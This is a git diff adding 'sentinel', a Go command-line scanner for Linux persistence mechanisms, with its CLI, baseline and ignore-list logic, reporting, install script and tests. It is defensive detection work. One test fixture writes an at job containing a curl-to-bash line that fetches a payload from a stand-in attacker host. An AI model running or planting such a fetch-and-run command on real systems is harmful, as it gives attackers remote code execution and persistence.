CLI +*/ + +package main + +import ( + "github.com/CarterPerez-dev/sentinel/internal/cli" + _ "github.com/CarterPerez-dev/sentinel/internal/scanner" +) + +func main() { + cli.Execute() +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/go.mod b/PROJECTS/beginner/systemd-persistence-scanner/go.mod new file mode 100644 index 00000000..53935e65 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/go.mod @@ -0,0 +1,17 @@ +module github.com/CarterPerez-dev/sentinel + +go 1.25.0 + +require ( + github.com/fatih/color v1.19.0 + github.com/spf13/cobra v1.10.2 +) + +require ( + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/mattn/go-colorable v0.1.14 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/spf13/pflag v1.0.9 // indirect + golang.org/x/sync v0.20.0 // indirect + golang.org/x/sys v0.42.0 // indirect +) diff --git a/PROJECTS/beginner/systemd-persistence-scanner/go.sum b/PROJECTS/beginner/systemd-persistence-scanner/go.sum new file mode 100644 index 00000000..f792c574 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/go.sum @@ -0,0 +1,21 @@ +github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= +github.com/fatih/color v1.19.0 h1:Zp3PiM21/9Ld6FzSKyL5c/BULoe/ONr9KlbYVOfG8+w= +github.com/fatih/color v1.19.0/go.mod h1:zNk67I0ZUT1bEGsSGyCZYZNrHuTkJJB+r6Q9VuMi0LE= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE= +github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= +github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4= +github.com/spf13/pflag v1.0.9 h1:9exaQaMOCwffKiiiYk6/BndUBv+iRViNW+4lEMi0PvY= +github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= +golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= +golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/PROJECTS/beginner/systemd-persistence-scanner/install.sh b/PROJECTS/beginner/systemd-persistence-scanner/install.sh new file mode 100755 index 00000000..78c6d8a4 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/install.sh @@ -0,0 +1,76 @@ +#!/usr/bin/env bash +# ©AngelaMos | 2026 +# install.sh + +set -euo pipefail + +RED='\033[0;31m' +GREEN='\033[0;32m' +CYAN='\033[0;36m' +DIM='\033[2m' +NC='\033[0m' + +info() { printf "${CYAN}▸${NC} %s\n" "$1"; } +ok() { printf "${GREEN}✓${NC} %s\n" "$1"; } +fail() { printf "${RED}✗${NC} %s\n" "$1"; exit 1; } + +MIN_GO="1.25" + +check_go() { + if ! command -v go &>/dev/null; then + fail "Go is not installed. Get it at https://go.dev/dl/" + fi + + local ver + ver=$(go version | grep -oP 'go\K[0-9]+\.[0-9]+') + + if ! printf '%s\n%s\n' "$MIN_GO" "$ver" \ + | sort -V | head -n1 | grep -qx "$MIN_GO"; then + fail "Go $MIN_GO+ required (found $ver)" + fi + + ok "Go $ver" +} + +check_just() { + if command -v just &>/dev/null; then + ok "just $(just --version 2>/dev/null | head -1)" + else + info "just not found (optional). Install: curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin" + fi +} + +build() { + info "Building sentinel..." + go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel + local size + size=$(du -h bin/sentinel | cut -f1) + ok "Built bin/sentinel ($size)" +} + +run_tests() { + info "Running tests..." + if go test -race ./... >/dev/null 2>&1; then + ok "All tests passed" + else + fail "Tests failed. Run 'go test -v ./...' for details." + fi +} + +main() { + printf "\n${CYAN}sentinel${NC} ${DIM}installer${NC}\n\n" + + check_go + check_just + + info "Downloading dependencies..." + go mod download + ok "Dependencies ready" + + build + run_tests + + printf "\n${GREEN}Done.${NC} Run ${CYAN}./bin/sentinel scan${NC} to start scanning.\n\n" +} + +main "$@" diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline.go new file mode 100644 index 00000000..c7b23415 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline.go @@ -0,0 +1,89 @@ +/* +©AngelaMos | 2026 +baseline.go + +Baseline snapshot save, load, and diff operations + +Saves the current scan findings as a JSON snapshot file. On +subsequent runs, loads the baseline and computes a diff showing +only new findings that were not present in the clean snapshot. +This reduces noise on systems with many legitimate persistence +entries. +*/ + +package baseline + +import ( + "encoding/json" + "fmt" + "os" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +type Snapshot struct { + Version string `json:"version"` + Hostname string `json:"hostname"` + Findings []types.Finding `json:"findings"` +} + +func Save( + path string, findings []types.Finding, hostname string, +) error { + snap := Snapshot{ + Version: types.Version, + Hostname: hostname, + Findings: findings, + } + + data, err := json.MarshalIndent(snap, "", " ") + if err != nil { + return fmt.Errorf("marshaling baseline: %w", err) + } + + if err := os.WriteFile( + path, data, 0o600, + ); err != nil { + return fmt.Errorf("writing baseline: %w", err) + } + + return nil +} + +func Load(path string) (Snapshot, error) { + data, err := os.ReadFile(path) //nolint:gosec + if err != nil { + return Snapshot{}, fmt.Errorf( + "reading baseline: %w", err, + ) + } + + var snap Snapshot + if err := json.Unmarshal(data, &snap); err != nil { + return Snapshot{}, fmt.Errorf( + "parsing baseline: %w", err, + ) + } + return snap, nil +} + +func Diff( + baseline Snapshot, current []types.Finding, +) []types.Finding { + known := make(map[string]bool, len(baseline.Findings)) + for _, f := range baseline.Findings { + known[findingKey(f)] = true + } + + var newFindings []types.Finding + for _, f := range current { + if !known[findingKey(f)] { + newFindings = append(newFindings, f) + } + } + return newFindings +} + +func findingKey(f types.Finding) string { + return f.Scanner + "|" + f.Path + "|" + f.Title +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline_test.go new file mode 100644 index 00000000..755dc00b --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/baseline/baseline_test.go @@ -0,0 +1,117 @@ +/* +©AngelaMos | 2026 +baseline_test.go +*/ + +package baseline + +import ( + "os" + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestSaveAndLoad(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "test-baseline.json") + + findings := []types.Finding{ + { + Scanner: "cron", + Severity: types.SeverityHigh, + Title: "test finding", + Path: "/etc/cron.d/malicious", + Evidence: "curl | bash", + MITRE: "T1053.003", + }, + } + + if err := Save(path, findings, "test-host"); err != nil { + t.Fatalf("Save failed: %v", err) + } + + if _, err := os.Stat(path); err != nil { + t.Fatalf("baseline file not created: %v", err) + } + + snap, err := Load(path) + if err != nil { + t.Fatalf("Load failed: %v", err) + } + + if snap.Hostname != "test-host" { + t.Errorf( + "hostname = %q, want %q", + snap.Hostname, "test-host", + ) + } + + if len(snap.Findings) != 1 { + t.Fatalf( + "findings count = %d, want 1", + len(snap.Findings), + ) + } + + if snap.Findings[0].Title != "test finding" { + t.Errorf( + "finding title = %q, want %q", + snap.Findings[0].Title, "test finding", + ) + } +} + +func TestDiff(t *testing.T) { + baselineFindings := []types.Finding{ + { + Scanner: "cron", + Title: "known finding", + Path: "/etc/cron.d/legit", + }, + { + Scanner: "systemd", + Title: "known service", + Path: "/etc/systemd/system/app.service", + }, + } + + snap := Snapshot{ + Version: "1.0.0", + Findings: baselineFindings, + } + + current := []types.Finding{ + { + Scanner: "cron", + Title: "known finding", + Path: "/etc/cron.d/legit", + }, + { + Scanner: "systemd", + Title: "known service", + Path: "/etc/systemd/system/app.service", + }, + { + Scanner: "cron", + Title: "new malicious entry", + Path: "/etc/cron.d/backdoor", + }, + } + + newFindings := Diff(snap, current) + if len(newFindings) != 1 { + t.Fatalf( + "diff count = %d, want 1", + len(newFindings), + ) + } + + if newFindings[0].Title != "new malicious entry" { + t.Errorf( + "new finding title = %q, want %q", + newFindings[0].Title, "new malicious entry", + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/baseline.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/baseline.go new file mode 100644 index 00000000..1977d978 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/baseline.go @@ -0,0 +1,154 @@ +/* +©AngelaMos | 2026 +baseline.go + +Baseline subcommand for save and diff operations + +The save subcommand runs a full scan and saves findings as a JSON +baseline snapshot. The diff subcommand runs a fresh scan and shows +only findings that are new since the baseline was taken. +*/ + +package cli + +import ( + "fmt" + "os" + "time" + + "github.com/spf13/cobra" + + "github.com/CarterPerez-dev/sentinel/internal/baseline" + "github.com/CarterPerez-dev/sentinel/internal/config" + "github.com/CarterPerez-dev/sentinel/internal/report" + "github.com/CarterPerez-dev/sentinel/internal/scanner" + "github.com/CarterPerez-dev/sentinel/internal/ui" + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +var flagBaselinePath string + +func init() { + baselineCmd.PersistentFlags().StringVar( + &flagBaselinePath, "file", "sentinel-baseline.json", + "path to baseline snapshot file", + ) + baselineCmd.AddCommand(baselineSaveCmd) + baselineCmd.AddCommand(baselineDiffCmd) + rootCmd.AddCommand(baselineCmd) +} + +var baselineCmd = &cobra.Command{ + Use: "baseline", + Short: "Manage baseline snapshots", +} + +var baselineSaveCmd = &cobra.Command{ + Use: "save", + Short: "Save current state as baseline", + RunE: runBaselineSave, +} + +var baselineDiffCmd = &cobra.Command{ + Use: "diff", + Short: "Show changes since baseline", + RunE: runBaselineDiff, +} + +func runBaselineSave(_ *cobra.Command, _ []string) error { + hostname, err := os.Hostname() + if err != nil { + hostname = fallbackHostname + } + + var sp *ui.Spinner + if !flagJSON { + sp = ui.NewSpinner("Scanning for baseline...") + sp.Start() + } + + findings := scanner.RunAll(flagRoot) + + if sp != nil { + sp.Stop() + } + + if err := baseline.Save( + flagBaselinePath, findings, hostname, + ); err != nil { + return err + } + + fmt.Printf( + " %s Baseline saved to %s (%d findings)\n\n", + ui.GreenBold(ui.Check), + ui.Cyan(flagBaselinePath), + len(findings), + ) + return nil +} + +func runBaselineDiff(_ *cobra.Command, _ []string) error { + snap, err := baseline.Load(flagBaselinePath) + if err != nil { + return fmt.Errorf( + "load baseline %s: %w", + flagBaselinePath, err, + ) + } + + hostname, err := os.Hostname() + if err != nil { + hostname = fallbackHostname + } + minSev := types.ParseSeverity(flagMinSeverity) + + var sp *ui.Spinner + if !flagJSON { + sp = ui.NewSpinner("Scanning and comparing to baseline...") + sp.Start() + } + + start := time.Now() + current := scanner.RunAll(flagRoot) + duration := time.Since(start) + + if sp != nil { + sp.Stop() + } + + ignoreList, err := config.LoadIgnoreFile(flagIgnoreFile) + if err != nil { + return err + } + + newFindings := baseline.Diff(snap, current) + newFindings = ignoreList.Filter(newFindings) + filtered := filterBySeverity(newFindings, minSev) + + result := types.ScanResult{ + Version: types.Version, + ScanTime: start, + Hostname: hostname, + Findings: filtered, + Summary: types.Tally(filtered), + DurationMs: duration.Milliseconds(), + } + + if !flagJSON { + fmt.Printf( + " %s Baseline: %d known %s New: %d findings\n\n", + ui.CyanBold(ui.Diamond), + len(snap.Findings), + ui.Dim("|"), + len(filtered), + ) + } + + if flagJSON { + return report.PrintJSON(result) + } + + report.PrintTerminal(result) + return nil +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/root.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/root.go new file mode 100644 index 00000000..1270677a --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/root.go @@ -0,0 +1,90 @@ +/* +©AngelaMos | 2026 +root.go + +Root cobra command and global flag definitions + +Defines the sentinel root command with persistent flags for JSON +output, minimum severity filtering, verbose mode, and custom scan +root. Subcommands are attached in their respective init functions. +*/ + +package cli + +import ( + "log/slog" + "os" + + "github.com/spf13/cobra" + + "github.com/CarterPerez-dev/sentinel/internal/ui" +) + +const fallbackHostname = "unknown" + +var ( + flagJSON bool + flagMinSeverity string + flagVerbose bool + flagRoot string + flagIgnoreFile string +) + +var rootCmd = &cobra.Command{ + Use: "sentinel", + Short: "Linux persistence mechanism scanner", + Long: `sentinel scans a Linux system for persistence mechanisms +across systemd, cron, shell profiles, SSH, LD_PRELOAD, +kernel modules, udev rules, init.d, XDG autostart, at jobs, +MOTD scripts, and PAM modules.`, + PersistentPreRun: func( + cmd *cobra.Command, args []string, + ) { + configureLogging() + if !flagJSON { + ui.PrintBanner() + } + }, +} + +func configureLogging() { + level := slog.LevelWarn + if flagVerbose { + level = slog.LevelDebug + } + + handler := slog.NewTextHandler( + os.Stderr, + &slog.HandlerOptions{Level: level}, + ) + slog.SetDefault(slog.New(handler)) +} + +func init() { + rootCmd.PersistentFlags().BoolVar( + &flagJSON, "json", false, + "output results as JSON", + ) + rootCmd.PersistentFlags().StringVar( + &flagMinSeverity, "min-severity", "info", + "minimum severity to report (info|low|medium|high|critical)", + ) + rootCmd.PersistentFlags().BoolVar( + &flagVerbose, "verbose", false, + "enable verbose logging", + ) + rootCmd.PersistentFlags().StringVar( + &flagRoot, "root", "/", + "filesystem root to scan (for testing or chroot)", + ) + rootCmd.PersistentFlags().StringVar( + &flagIgnoreFile, "ignore-file", "", + "path to .sentinel-ignore.yml for suppressing findings", + ) +} + +func Execute() { + if err := rootCmd.Execute(); err != nil { + os.Exit(1) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/scan.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/scan.go new file mode 100644 index 00000000..5dee15ff --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/cli/scan.go @@ -0,0 +1,110 @@ +/* +©AngelaMos | 2026 +scan.go + +Scan subcommand that runs all persistence scanners + +Executes every registered scanner against the target root, filters +findings by minimum severity, tallies results, and renders output +in terminal or JSON format. +*/ + +package cli + +import ( + "fmt" + "os" + "time" + + "github.com/spf13/cobra" + + "github.com/CarterPerez-dev/sentinel/internal/config" + "github.com/CarterPerez-dev/sentinel/internal/report" + "github.com/CarterPerez-dev/sentinel/internal/scanner" + "github.com/CarterPerez-dev/sentinel/internal/ui" + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func init() { + rootCmd.AddCommand(scanCmd) +} + +var scanCmd = &cobra.Command{ + Use: "scan", + Short: "Scan for persistence mechanisms", + RunE: runScan, +} + +func runScan(cmd *cobra.Command, _ []string) error { + minSev := types.ParseSeverity(flagMinSeverity) + hostname, err := os.Hostname() + if err != nil { + hostname = fallbackHostname + } + + ignoreList, err := config.LoadIgnoreFile(flagIgnoreFile) + if err != nil { + return err + } + + var sp *ui.Spinner + if !flagJSON { + sp = ui.NewSpinner("Scanning persistence mechanisms...") + sp.Start() + } + + start := time.Now() + findings := scanner.RunAll(flagRoot) + duration := time.Since(start) + + if sp != nil { + sp.Stop() + } + + findings = ignoreList.Filter(findings) + filtered := filterBySeverity(findings, minSev) + + result := types.ScanResult{ + Version: types.Version, + ScanTime: start, + Hostname: hostname, + Findings: filtered, + Summary: types.Tally(filtered), + DurationMs: duration.Milliseconds(), + } + + if flagJSON { + return report.PrintJSON(result) + } + + scannerNames := make([]string, 0, len(scanner.All())) + for _, s := range scanner.All() { + scannerNames = append(scannerNames, s.Name()) + } + + fmt.Printf( + " %s Scanned %d modules across %s\n\n", + ui.GreenBold(ui.Check), + len(scannerNames), + flagRoot, + ) + + report.PrintTerminal(result) + return nil +} + +func filterBySeverity( + findings []types.Finding, min types.Severity, +) []types.Finding { + if min == types.SeverityInfo { + return findings + } + + var filtered []types.Finding + for _, f := range findings { + if f.Severity >= min { + filtered = append(filtered, f) + } + } + return filtered +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config.go new file mode 100644 index 00000000..394fb764 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config.go @@ -0,0 +1,151 @@ +/* +©AngelaMos | 2026 +config.go + +Ignore-list configuration for suppressing known-good findings + +Loads a YAML ignore file that specifies findings to suppress by +path, scanner name, title, or combinations thereof. Reduces noise +on systems with many legitimate persistence entries. +*/ + +package config + +import ( + "fmt" + "os" + "strings" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +type IgnoreRule struct { + Path string + Scanner string + Title string +} + +type IgnoreList struct { + Rules []IgnoreRule +} + +func LoadIgnoreFile(path string) (IgnoreList, error) { + if path == "" { + return IgnoreList{}, nil + } + + data, err := os.ReadFile(path) //nolint:gosec + if err != nil { + return IgnoreList{}, fmt.Errorf( + "reading ignore file: %w", err, + ) + } + + return parseIgnoreFile(data) +} + +func parseIgnoreFile(data []byte) (IgnoreList, error) { + var list IgnoreList + var current IgnoreRule + inIgnore := false + + for _, rawLine := range strings.Split(string(data), "\n") { + line := strings.TrimSpace(rawLine) + + if line == "" || strings.HasPrefix(line, "#") { + continue + } + + if line == "ignore:" { + inIgnore = true + continue + } + + if !inIgnore { + continue + } + + if strings.HasPrefix(line, "- ") { + list.Rules = appendIfSet(list.Rules, current) + current = IgnoreRule{} + line = strings.TrimPrefix(line, "- ") + } else if !isIndented(line, rawLine) { + list.Rules = appendIfSet(list.Rules, current) + break + } + + parseField(¤t, strings.TrimSpace(line)) + } + + list.Rules = appendIfSet(list.Rules, current) + return list, nil +} + +func isIndented(trimmed, raw string) bool { + return strings.HasPrefix(trimmed, " ") || + strings.HasPrefix(raw, " ") +} + +func appendIfSet( + rules []IgnoreRule, r IgnoreRule, +) []IgnoreRule { + if r.Path != "" || r.Scanner != "" || r.Title != "" { + return append(rules, r) + } + return rules +} + +func parseField(rule *IgnoreRule, line string) { + key, val, ok := strings.Cut(line, ":") + if !ok { + return + } + val = strings.TrimSpace(val) + + switch strings.TrimSpace(key) { + case "path": + rule.Path = val + case "scanner": + rule.Scanner = val + case "title": + rule.Title = val + } +} + +func (il IgnoreList) Filter( + findings []types.Finding, +) []types.Finding { + if len(il.Rules) == 0 { + return findings + } + + var kept []types.Finding + for _, f := range findings { + if !il.matches(f) { + kept = append(kept, f) + } + } + return kept +} + +func (il IgnoreList) matches(f types.Finding) bool { + for _, r := range il.Rules { + if r.matchesFinding(f) { + return true + } + } + return false +} + +func (r IgnoreRule) matchesFinding(f types.Finding) bool { + if r.Path != "" && f.Path != r.Path { + return false + } + if r.Scanner != "" && f.Scanner != r.Scanner { + return false + } + if r.Title != "" && f.Title != r.Title { + return false + } + return true +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config_test.go new file mode 100644 index 00000000..63218ddc --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/config/config_test.go @@ -0,0 +1,144 @@ +/* +©AngelaMos | 2026 +config_test.go +*/ + +package config + +import ( + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestParseIgnoreFile(t *testing.T) { + data := []byte(`# Sentinel ignore file +ignore: + - path: /etc/systemd/system/docker.service + - scanner: kernel + title: Kernel module loaded at boot + - path: /etc/cron.d/certbot +`) + + list, err := parseIgnoreFile(data) + if err != nil { + t.Fatalf("parseIgnoreFile: %v", err) + } + + if len(list.Rules) != 3 { + t.Fatalf( + "rules count = %d, want 3", + len(list.Rules), + ) + } + + if list.Rules[0].Path != "/etc/systemd/system/docker.service" { + t.Errorf( + "rule[0].Path = %q", + list.Rules[0].Path, + ) + } + + if list.Rules[1].Scanner != "kernel" || + list.Rules[1].Title != "Kernel module loaded at boot" { + t.Errorf( + "rule[1] = %+v", + list.Rules[1], + ) + } + + if list.Rules[2].Path != "/etc/cron.d/certbot" { + t.Errorf( + "rule[2].Path = %q", + list.Rules[2].Path, + ) + } +} + +func TestFilter_ByPath(t *testing.T) { + list := IgnoreList{ + Rules: []IgnoreRule{ + {Path: "/etc/systemd/system/docker.service"}, + }, + } + + findings := []types.Finding{ + { + Scanner: "systemd", + Path: "/etc/systemd/system/docker.service", + Title: "some finding", + }, + { + Scanner: "systemd", + Path: "/etc/systemd/system/evil.service", + Title: "another finding", + }, + } + + filtered := list.Filter(findings) + if len(filtered) != 1 { + t.Fatalf( + "filtered count = %d, want 1", + len(filtered), + ) + } + if filtered[0].Path != "/etc/systemd/system/evil.service" { + t.Errorf( + "remaining finding path = %q", + filtered[0].Path, + ) + } +} + +func TestFilter_ByScannerAndTitle(t *testing.T) { + list := IgnoreList{ + Rules: []IgnoreRule{ + { + Scanner: "kernel", + Title: "Kernel module loaded at boot", + }, + }, + } + + findings := []types.Finding{ + { + Scanner: "kernel", + Title: "Kernel module loaded at boot", + Path: "/etc/modules-load.d/loop.conf", + }, + { + Scanner: "kernel", + Title: "Module install hook runs shell command", + Path: "/etc/modprobe.d/evil.conf", + }, + } + + filtered := list.Filter(findings) + if len(filtered) != 1 { + t.Fatalf( + "filtered count = %d, want 1", + len(filtered), + ) + } + if filtered[0].Title != "Module install hook runs shell command" { + t.Errorf( + "remaining finding title = %q", + filtered[0].Title, + ) + } +} + +func TestFilter_EmptyList(t *testing.T) { + list := IgnoreList{} + findings := []types.Finding{ + {Scanner: "cron", Title: "test"}, + } + + filtered := list.Filter(findings) + if len(filtered) != 1 { + t.Fatalf( + "empty ignore list should not filter: got %d", + len(filtered), + ) + } +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/report/json.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/report/json.go new file mode 100644 index 00000000..1d633685 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/report/json.go @@ -0,0 +1,29 @@ +/* +©AngelaMos | 2026 +json.go + +Structured JSON output formatter for scan results + +Serializes the full ScanResult to JSON with indentation for human +readability. Outputs to stdout for piping into jq, SIEM ingestion, +or file redirection. +*/ + +package report + +import ( + "encoding/json" + "fmt" + "os" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func PrintJSON(result types.ScanResult) error { + enc := json.NewEncoder(os.Stdout) + enc.SetIndent("", " ") + if err := enc.Encode(result); err != nil { + return fmt.Errorf("encoding json: %w", err) + } + return nil +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/report/terminal.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/report/terminal.go new file mode 100644 index 00000000..551c5a46 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/report/terminal.go @@ -0,0 +1,107 @@ +/* +©AngelaMos | 2026 +terminal.go + +Color-coded terminal output formatter for scan results + +Renders findings grouped by severity with color-coded labels, +file paths, evidence snippets, and MITRE technique IDs. Prints +a summary banner with counts per severity level. +*/ + +package report + +import ( + "fmt" + "sort" + + "github.com/CarterPerez-dev/sentinel/internal/ui" + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +var severityColor = map[types.Severity]func( + a ...any, +) string{ + types.SeverityCritical: ui.HiRedBold, + types.SeverityHigh: ui.RedBold, + types.SeverityMedium: ui.YellowBold, + types.SeverityLow: ui.CyanBold, + types.SeverityInfo: ui.Dim, +} + +func PrintTerminal(result types.ScanResult) { + findings := result.Findings + sort.Slice(findings, func(i, j int) bool { + return findings[i].Severity > findings[j].Severity + }) + + if len(findings) == 0 { + fmt.Printf( + " %s No persistence indicators found.\n\n", + ui.GreenBold(ui.Check), + ) + printSummary(result) + return + } + + fmt.Printf(" %s\n\n", ui.Dim(ui.HRule(56))) + + for _, f := range findings { + colorFn := severityColor[f.Severity] + label := colorFn( + fmt.Sprintf("[%s]", f.Severity.Label()), + ) + fmt.Printf(" %s %s\n", label, f.Title) + fmt.Printf( + " %s %s\n", + ui.Dim("Path:"), + ui.Cyan(f.Path), + ) + if f.Evidence != "" { + fmt.Printf( + " %s %s\n", + ui.Dim("Evidence:"), + truncateEvidence(f.Evidence), + ) + } + fmt.Printf( + " %s %s\n\n", + ui.Dim("MITRE:"), + ui.Blue(f.MITRE), + ) + } + + printSummary(result) +} + +func printSummary(result types.ScanResult) { + s := result.Summary + fmt.Printf(" %s\n", ui.Dim(ui.HRule(56))) + fmt.Printf( + " %s %s %s %s %s %s %s %s %s %s\n", + ui.Dim("Summary:"), + ui.HiRedBold(fmt.Sprintf("%d", s.Critical)), + ui.Dim("critical"), + ui.RedBold(fmt.Sprintf("%d", s.High)), + ui.Dim("high"), + ui.YellowBold(fmt.Sprintf("%d", s.Medium)), + ui.Dim("medium"), + ui.CyanBold(fmt.Sprintf("%d", s.Low)), + ui.Dim("low"), + ui.Dim(fmt.Sprintf("%d info", s.Info)), + ) + fmt.Printf( + " %s Completed in %dms\n\n", + ui.Dim(ui.Timer), + result.DurationMs, + ) +} + +const maxEvidenceLen = 100 + +func truncateEvidence(s string) string { + if len(s) <= maxEvidenceLen { + return s + } + return s[:maxEvidenceLen] + "..." +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob.go new file mode 100644 index 00000000..85a7143c --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob.go @@ -0,0 +1,69 @@ +/* +©AngelaMos | 2026 +atjob.go + +Scans the at job spool for scheduled one-time persistence + +Checks /var/spool/at/ and /var/spool/atjobs/ for pending at jobs +that execute commands at a scheduled time. At jobs are frequently +overlooked during incident response. + +MITRE ATT&CK: + T1053.001 - Scheduled Task/Job: At +*/ + +package scanner + +import ( + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +const ( + atjobScannerName = "atjob" + mitreAt = "T1053.001" +) + +var atDirs = []string{ + "/var/spool/at", + "/var/spool/atjobs", +} + +func init() { + Register(&AtJobScanner{}) +} + +type AtJobScanner struct{} + +func (a *AtJobScanner) Name() string { + return atjobScannerName +} + +func (a *AtJobScanner) Scan( + root string, +) []types.Finding { + var findings []types.Finding + + for _, dir := range atDirs { + resolved := ResolveRoot(root, dir) + files := ListFiles(resolved) + for _, path := range files { + findings = append(findings, types.Finding{ + Scanner: atjobScannerName, + Severity: types.SeverityLow, + Title: "Pending at job found", + Path: path, + Evidence: "Scheduled one-time execution", + MITRE: mitreAt, + }) + + findings = append( + findings, + ScanFileForPatterns( + path, atjobScannerName, mitreAt, + )..., + ) + } + } + + return findings +} diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob_test.go new file mode 100644 index 00000000..054629c8 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob_test.go @@ -0,0 +1,68 @@ +/* +©AngelaMos | 2026 +atjob_test.go +*/ + +package scanner + +import ( + "os" + "path/filepath" + "testing" + + "github.com/CarterPerez-dev/sentinel/pkg/types" +) + +func TestAtJobScanner_PendingJob(t *testing.T) { + root := t.TempDir() + spoolDir := filepath.Join(root, "var", "spool", "at") + if err := os.MkdirAll(spoolDir, 0o750); err != nil { + t.Fatal(err) + } + + jobPath := filepath.Join(spoolDir, "pending-job") + writeTestFile( + t, jobPath, + "#!/bin/sh\ncurl http://evil.example.com/payload | bash\n", + ) + + a := &AtJobScanner{} + findings := a.Scan(root) + + if len(findings) == 0 { + t.Fatal("at job spool with files produced no findings") + } + + hasLow := false + hasHigh := false + for _, f := range findings { + if f.Title == "Pending at job found" { + hasLow = true + } + if f.Severity >= types.SeverityHigh { + hasHigh = true + } + } + + if !hasLow { + t.Error("expected 'Pending at job found' finding") + } + if !hasHigh { + t.Error( + "expected high+ finding for curl|bash in at job", + ) + } +} + +func TestAtJobScanner_EmptySpool(t *testing.T) { + a := &AtJobScanner{} 